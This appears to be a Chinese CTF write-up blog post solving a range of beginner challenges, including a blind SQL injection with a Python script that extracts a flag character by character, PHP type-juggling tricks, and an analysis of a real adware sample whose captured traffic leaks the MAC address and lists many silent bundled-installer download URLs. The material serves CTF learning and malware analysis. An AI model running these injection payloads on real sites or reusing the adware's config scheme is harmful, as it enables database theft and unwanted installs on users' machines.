玩玩CTF
Xp0int大家庭
Xp0int日常,跑一下我们在干什么?
网上搜索发现是 aaencode 所以试试在chrome的console运行。 得到flag
弗拉戈在哪里?
小明整蛊舍友,将他舍友的兰博基尼钥匙锁在zip里面了,你能帮他找回钥匙吗?
提示: 在zip里面
1.zip 拖进UltraEdit 搜索flag
发现一段base64,于是解码。应该也能用strings命令看到base64。
好像说太多了
提示:说太多
根据 ctf wiki的说法 用 https://quipqiup.com/ 词频分析,得到flag
clues vtsegdt=welcome zg=to egdhtzozogf=competition
welcome to our competition!today is a nice day,i hope that you can win the prize and share it with me.our team is best in my mind,but i am too weak.so i am working hard to study.the most important thing is that i will tell you a secert that the flag is wordfrequencyanalysis.the trouble is that this analysis needs more to analyze, so i am going to have a chat with you.but i do not know what to talk about with you, i am very hard, i hope you can forgive me.
SGA
看了提示才答出来的。后来觉得以图搜图可能也行。 百度: 标准银河字母。。。 得到对应的表
warmup
提示: 据说:这是Xp0int公众号热身赛的题目,emmmm好像有什么不一样了。
根据提示,使用githack获取到xp0.jpg , 然后用foremost得到zip
然后使用AZPR 来进行文本攻击: 将xp.jpg 压缩,确认xp.jpg的crc32与加密的压缩包一致,然后开始即可。
参考:http://www.360zhijia.com/360anquanke/217342.html
combo
用jd-gui反编译,查看得出来的java代码 ,再对应smali 把if 的判断删掉,编译出apk,点击按钮即得到倒序的flag
public void onClick(View paramView)
{
switch (paramView.getId())
{
default:
return;
case 2131427423:
}
this.currentClkTime = System.currentTimeMillis();
if (this.currentClkTime - this.lastClkTime < 500L)
{
this.clkAcount = (1 + this.clkAcount);
label58: this.showCombo.setText("当前连击次数:" + this.clkAcount + " 次");
if (this.clkAcount != 201710)
break label129;
this.showFlag.setText(2131099682);
}
while (true)
{
this.lastClkTime = this.currentClkTime;
break;
this.clkAcount = 1;
break label58;
label129: if (this.clkAcount <= 2017)
continue;
this.showFlag.setText("连击 201710 次就可以获得flag啦!");
}
}弗拉戈在哪里2?
用strings命令,直接得到flag
EasyRSA
参考文章 http://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html
因为没有研究过rsa,所以只能follow文章去做。 已知 n e c
把 n 放到 http://factordb.com 上分解,分解成功,得到p q。 e = 0x10001。
用工具计算n 遂得到 m = pow(c, d, n)
《web安全入门第一课》 ,《web安全入门第二课》 ,一段矛盾的代码
矛盾的代码,这个虽然不太懂,没接触过PHP,但有了源码就可以搜索相关的问题。
is_numeric(1a) FALSE
1a == 1 TRUEhttp://119.29.191.200/ctf/46d3e59de07a6aac6b2078c35aa4c16a03d10df3/?num=1a重重flag背后隐藏的秘密
正则表达式筛选可以得到答案。
一张含有信息的图片
古时候打仗,友军间通信为了不被敌人发现重要的情报,用了各种各样的方法隐藏信息,延续到了现代,又有了新的变化...
binwalk发现zlib , 解压发现exif ,没头绪,放进Photoshop ,调色,发现flag。看到flag内容又get到一个新工具。
一个简陋的博客
前端的X同学做一半跑路了,反正功能实现了,能上传文章就行(逃。。。
对前几天才接触CTF的喔来说,这道题一直没有头绪,直到看到了这篇文章 实验吧CTF之web专题-2 原来是这样的
?id=' FALSE
?id=1 'and '1'='1 TRUE
?id=1 'and '1'='2 FALSE现在可以猜密码了。
(select count(*) from flag)>0
(select flag from flag)> 0于是得到flag ,但不知为何,提交说答案错误,后来发现全是小写。所以要注意了。
flAG{3Q1Map_1S_u3Sfu1}代码记录
import requests
url = "http://119.29.191.200/ctf/7601547c91c318b3f60df2a6f1f7b69a407affa2/index.php?id=11864"
strs = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIGKLMNOPQRSTUVWXYZ@_.{}-"
def check_flag_len():
flag_len = 0
for i in range(0, 500):
sql = "%27%20and%20(select%20length(flag)%20from%20flag)%3E" + str(i) + "%23)"
result = requests.get(url+sql)
if not result.text.find("HELLO") > 0:
flag_len = i - 1
break
return flag_len
def find_flag(flag_len):
flag = ""
while len(flag) < flag_len:
for i in strs:
sql = "%27%20and%20substring((select%20flag%20from%20flag%20)%20from%20" + str(len(flag)+1) + "%20for%201%20)=%27" + i
result = requests.get(url+sql)
if result.text.find("HELLO") > 0:
flag = flag + i
print(flag)一段奇怪的流量
X同学最近抓了一个流量包,你能分析下包的内容吗?
用Wireshark打开,发现是USB流量包。没有思路,于是搜索发现一篇文章。【技术分享】从CTF中学USB流量捕获
这个USB流量包也许就是鼠标或键盘的流量,然后通过观察Wireshark流量,中间有一段非常规律,不连续的流量。十六进制符合键盘流量的特征。
参考文章的程序,提取出一段数据。貌似没有区分大小写,看文档,大小写都是同一个信号。
Usage of keys is not modified by the state of the Control, Alt, Shift or Num Lock keys. That is, a key does not send extra codes to compensate for the state of any Control, Alt, Shift or Num Lock key.
发现数据是十六进制,解码看起来是个压缩文件。解压得到flag。
舍友的秘密
有一天机智的X同学发现流量中有些异常,好像这个软件上传了舍友的信息,最重要的是上传了某个地址信息,你能找出这个地址信息吗
注1:提交形式:flag{xx-xx-xx-xx-xx-xx}(其中xx为16进制,且全部小写)
注2:该题需在writeup中提交详细报告
警告:这是真实恶意样本,含有信息收集行为,请在虚拟机打开
答案: 上传的是本机的MAC地址
Address: Vmware_3e:12:85 (00:0c:29:3e:12:85)报告:
题目提示:
- flag{xx-xx-xx-xx-xx-xx}(其中xx为16进制,且全部小写)。
- 恶意样本,在虚拟机内执行
题目文件:
- 恶意样本
- 数据包
打算用ProcessMonitor看它的行为。 运行后收集到了相关的行为。把收集到的行为保存格式是csv。恶意软件的主要进程是
1.6.4@302_111085.exe
用python简单过滤处理下
import csv
names = ['1.6.4@302_111085.exe']
output = open('output.csv','wb')
write_csv = csv.writer(output)
read_csv= csv.reader(open('Logfile2.csv','r'))
for row in read_csv:
for i in names:
if row[1] == i:
write_csv.writerow(row)为了分析的方便,用excel对数据进行处理,重点是上传下载,将相应的行为标记上颜色。
1.6.4@302_111085.exe
打开后没有操作的情况下频繁地对系统文件进行读写操作,未经用户同意释放软件安装包,恶意软件无疑。
发现一个很可疑的ip
VM-PC:49160 -> 121.43.97.175:http于是打开wireshark输入 ip.addr == 121.43.97.175
选择该ip以追踪HTTP流,然后就得到了软件的第一次联网数据。
这段数据是不是看起来很正常呢? 不是,很明显恶意软件在通过api获取推广软件的下载地址。 既然要做推广必然要标记用户,所以收集用户信息是非常常见的流氓行为。
GET /api.php?id=111085&qid=302&rand=52231541381&flag=328704&title=1.6.4&t=0 HTTP/1.1
这里可以看到软件通过GET请求上传了用户信息,据我猜测,地址信息应该不是ip地址,那应该就是网卡的mac地址了。
转换成十进制 就是rand这个参数没跑了。
00:0c:29:3e:12:85
52231541381这里附上相关的数据和文件
GET /api.php?id=111085&qid=302&rand=52231541381&flag=328704&title=1.6.4&t=0 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: down.xiald.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.3.28
Date: Mon, 07 Aug 2017 03:17:26 GMT
Content-Length: 915
{"error":0,"data":{"Name":"我的世界1.6.4懒人包","Desc":"我的世界1.6.4懒人包是玩家整合的一款minecraft大型mod整合包,包括玩家们都非常喜欢的工业、、农业、超级英雄、枪械等mod,市面上很少见噢,需要的朋友赶紧拉游戏操作方法移动:W、S、A、D物品:E跳跃:空格前行:左Shift攻击:鼠标左键使用:鼠标右键视角","URL":"http:\/\/gm2.pc6.com\/hs1\/pc6mc164-mcsetup.exe","Ver":"","Size":"271360","Icon":"http:\/\/7.pic.pc6.com\/up\/2014-4\/2014430162429.jpg","File":"pc6mc164-mcsetup.exe"}}GET /cfg.php?id=111085&qid=302&rand=52231541381&flag=328704&title=1.6.4&t=0 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: down.xiald.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.3.28
Date: Mon, 07 Aug 2017 03:17:26 GMT
Content-Length: 8357
[rec]
N_1=............
Z_1=230
O_1=1
D_1=..............
I_1=http://down.shg20.com/shichangbu/ico/zny.ico
U_1=http://down.znyshurufa.com/qdb/zny_znylxnb101.exe
F_1=zny_znylxnb101.exe
P_1=/S
C_1=2
R_1=2
S_1=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\............
V_1=UninstallString
Y_1=0
L_1=0
E_1=app230
N_2=....
Z_2=187
O_2=1
D_2=..............
I_2=http://xiazai.xiazai2.net/ico/kuaizip.ico
U_2=http://dl.kkdownload.com/kz5lixjm3/KuaiZip_Setup_3818139782_lixjm3_001.exe
F_2=KuaiZip_Setup_3818139782_lixjm3_001.exe
P_2=
C_2=1
R_2=2
S_2=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KuaiZip
Y_2=0
L_2=0
M_2=
X_2=
FN_2=
FU_2=
N_3=QQ............
Z_3=140
O_3=1
D_3=..............
I_3=http://down.shg20.com/shichangbu/ico/qqbrowser.ico
U_3=http://misc.wcd.qq.com/app?packageName=pcqqbrowser&channelId=87698
F_3=V9._87698_20161028150508.exe
P_3=
C_3=2
R_3=2
S_3=SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\QQBrowser.exe
V_3=path
Y_3=0
L_3=0
M_3=
X_3=QQ......
FN_3=
FU_3=
N_4=............
Z_4=46
O_4=1
D_4=............
I_4=http://down.shg20.com/shichangbu/ico/aqrj.ico
U_4=http://dl.360safe.com/p/Setup_oemyinsu5.exe
F_4=Setup_oemyinsu5.exe
P_4=
C_4=2
R_4=2
S_4=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\360........
V_4=UninstallString
Y_4=0
L_4=2
M_4=
X_4=
FN_4=
FU_4=
N_5=......
Z_5=104
O_5=1
D_5=............
I_5=http://xiazai.xiazai2.net/ico/pps.ico
U_5=http://dl.static.iqiyi.com/hz/IQIYIsetup_gaoxin@kb004.exe
F_5=IQIYIsetup_gaoxin@kb004.exe
P_5=
C_5=1
R_5=2
S_5=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PPStream
Y_5=0
L_5=0
X_5=
N_6=2345......
Z_6=284
O_6=1
D_6=..........
I_6=http://down.shg20.com/shichangbu/ico/2345Explorer.ico
U_6=http://download.2345.com/union_common/2345explorer_39244138011_Y_silence.exe
F_6=2345explorer_39244138011_Y_silence.exe
P_6=
C_6=2
R_6=2
S_6=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345Explorer
V_6=UninstallString
Y_6=0
L_6=0
N_7=........
Z_7=294
O_7=1
D_7=............
I_7=http://down.shg20.com/shichangbu/ico/qqlive.ico
U_7=http://down.shg20.com/shichangbu/QQliveSetup_30_241.gif
F_7=QQliveSetup_30_241.exe
P_7=
C_7=2
R_7=2
S_7=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\qqlive
V_7=UninstallString
Y_7=0
L_7=0
N_8=......
Z_8=227
O_8=1
D_8=............
I_8=http://down.shg20.com/shichangbu/ico/ludashi.ico
U_8=http://dl.360safe.com/ludashi/inst_newspread.exe
F_8=inst_newspread.exe
P_8=
C_8=2
R_8=2
S_8=SOFTWARE\LuDaShi
V_8=Setup Path
Y_8=0
L_8=0
N_9=..........
Z_9=231
O_9=1
D_9=..........
I_9=http://down.shg20.com/shichangbu/ico/xiaohei.ico
U_9=http://d.heinote.com/downloads/gaoxin/HNInstall_Setup_2207846935_gaoxin_001.exe
F_9=HNInstall_Setup_2207846935_gaoxin_001.exe
P_9=
C_9=2
R_9=2
S_9=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Heinote
V_9=UninstallString
Y_9=0
L_9=0
N_10=........
Z_10=269
O_10=1
D_10=............
I_10=http://down.shg20.com/shichangbu/ico/youxun.ico
U_10=http://nkme.ddlives.com/YouXiHe/ydtg.exe
F_10=ydtg.exe
P_10=hide
C_10=2
R_10=1
S_10=Software\Microsoft\Windows\CurrentVersion\Uninstall\leyoubox
V_10=UninstallString
Y_10=0
L_10=0
N_11=........
Z_11=252
O_11=1
D_11=..............
I_11=http://down.shg20.com/shichangbu/ico/huayzb.ico
U_11=http://dldir1.qq.com/huayang/HuaYangSetup_50059noui.exe
F_11=HuaYangSetup_50059noui.exe
P_11=
C_11=2
R_11=1
S_11=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\........
V_11=UninstallString
Y_11=0
L_11=0
N_12=..........
Z_12=217
O_12=1
D_12=............
I_12=http://down.shg20.com/shichangbu/ico/wnktw.ico
U_12=http://down.shg20.com/shichangbu/setup_wnktlxnb003.gif
F_12=setup_wnktlxnb003.exe
P_12=
C_12=2
R_12=2
S_12=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\..........
V_12=UninstallString
Y_12=0
L_12=0
N_13=Clover
Z_13=264
O_13=1
D_13=..............
I_13=http://down.shg20.com/shichangbu/ico/Clover.ico
U_13=http://down.shg20.com/shichangbu/setup_clvlxnb002.gif
F_13=setup_clvlxnb002.exe
P_13=/S
C_13=2
R_13=2
S_13=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Clover
V_13=UninstallString
Y_13=0
L_13=0
N_14=........
Z_14=278
O_14=1
D_14=............
I_14=http://down.shg20.com/shichangbu/ico/fengxbfq.ico
U_14=http://down.shg20.com/shichangbu/FunVPlayerInstall_PS_0108201.gif
F_14=FunVPlayerInstall_PS_0108201.exe
P_14=
C_14=2
R_14=2
S_14=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\..........
V_14=UninstallString
Y_14=0
L_14=0
E_14=app278
N_15=........
Z_15=287
O_15=1
D_15=..............
I_15=http://down.shg20.com/shichangbu/ico/koowo.ico
U_15=http://down.kuwo.cn/mbox/kuwo_jm795.exe
F_15=kuwo_jm795.exe
P_15=
C_15=2
R_15=2
S_15=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KwMusic7
V_15=UninstallString
Y_15=0
L_15=0
N_16=2345......
Z_16=192
O_16=1
D_16=........
I_16=http://down.shg20.com/sc/ico/2345pic.ico
U_16=http://down.shg20.com/shichangbu/2345pic_lm_509762_v8.0.1.8020_silent.gif
F_16=2345pic_lm_509762_v8.0.1.8020_silent.exe
P_16=
C_16=2
R_16=2
S_16=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345Pic
V_16=UninstallString
Y_16=0
L_16=0
N_17=WPS
Z_17=157
O_17=1
D_17=............
I_17=http://down.shg20.com/shichangbu/ico/wps.ico
U_17=http://wdl1.cache.wps.cn/wps/download/W.P.S.6135.20.2498.exe
F_17=W.P.S.6135.20.2498.exe
P_17=
C_17=2
R_17=1
S_17=Software\Microsoft\Windows\CurrentVersion\Uninstall\Kingsoft Office
V_17=UninstallString
Y_17=0
L_17=0
M_17=
X_17=1
FN_17=
FU_17=
N_18=PPTV
Z_18=221
O_18=1
D_18=............
I_18=http://down.shg20.com/shichangbu/ico/pptv.ico
U_18=http://download.pplive.com/PPTV_forqd3407_4030023.exe
F_18=PPTV_forqd3407_4030023.exe
P_18=
C_18=2
R_18=2
S_18=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PPLive
V_18=UninstallString
Y_18=0
L_18=0
N_19=91........
Z_19=209
O_19=1
D_19=..............
I_19=http://down.shg20.com/shichangbu/ico/91ygame.ico
U_19=http://down.shg20.com/shichangbu/91yGame-75.gif
F_19=91yGame-75.exe
P_19=
C_19=2
R_19=2
S_19=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\91yGame_is1
V_19=UninstallString
Y_19=0
L_19=0
N_20=........
Z_20=202
O_20=1
D_20=............
I_20=http://down.shg20.com/shichangbu/ico/kugou.ico
U_20=http://xiazai.kugou.com/Corp/kugou7_3632.exe
F_20=kugou7_3632.exe
P_20=
C_20=2
R_20=2
S_20=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\........
V_20=UninstallString
Y_20=0
L_20=0
N_21=......
Z_21=240
O_21=1
D_21=........
I_21=http://down.shg20.com/shichangbu/ico/Dandelion.ico
U_21=http://down.shg20.com/shichangbu/xyb/Dandelion.gif
F_21=Dandelion.zip
P_21=
C_21=0
Y_21=0
L_21=1
[unlnk1]
N_0=15
N_1="Internet H"
N_2="Internet "
N_3="Internet Expd"
N_4="Internet Explorert"
N_5="Internet D"
N_6="Internet ."
N_7="1nternet H"
N_8="1nternet "
N_9="1nternet Expd"
N_10="1nternet Explorert"
N_11="1nternet D"
N_12="1nternet ."
N_13="Internet Explorers"
N_14="Internet K"
N_15="Internet Expu"
[unlnk2]
N_0=15
N_1="Internet H"
N_2="Internet "
N_3="Internet Expd"
N_4="Internet Explorert"
N_5="Internet D"
N_6="Internet ."
N_7="1nternet H"
N_8="1nternet "
N_9="1nternet Expd"
N_10="1nternet Explorert"
N_11="1nternet D"
N_12="1nternet ."
N_13="Internet Explorers"
N_14="Internet K"
N_15="Internet Expu"
[unlnk3]
N_0=5
N_1=hao123..
N_2=........
N_3=........
N_4=........
N_5=Internet
[inlnk2]
N_1=1
N_11="........"
I_11=http://down.shg20.com/shichangbu2/icon.ico
H_11=http://hao.360.cn/?src=lm&ls=n1e6b736897
[dir]
N_1=................
H_1=http://hao.360.cn/?src=lm&ls=n1e6b736897
Ver=6.0.0.2
GX=0
PDH_1=2
BSC_1=0
LNKTP=1
[gen]
XLSIZE=10485760
X_TYPE=0
QHCID=3112155
QHHP=n2bb4457f9c
PORT=6100
YCSC=0
YCHP=0
XICO=0
UIID=0
QYHP=1
[app230]
C_1=1
R_1=2
S_1=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\............
V_1=
C_2=1
R_2=2
S_2=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\................
V_2=
C_3=1
R_3=2
S_3=SOFTWARE\SmartCloudInput
V_3=
C_4=1
R_4=2
S_4=SOFTWARE\SmartCloudWBInput
V_4=
[app278]
C_1=1
R_1=2
S_1=SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FunAccelerator
V_1=
[mark]
key=D6F776F6F17052CE8B6D4FC861D68994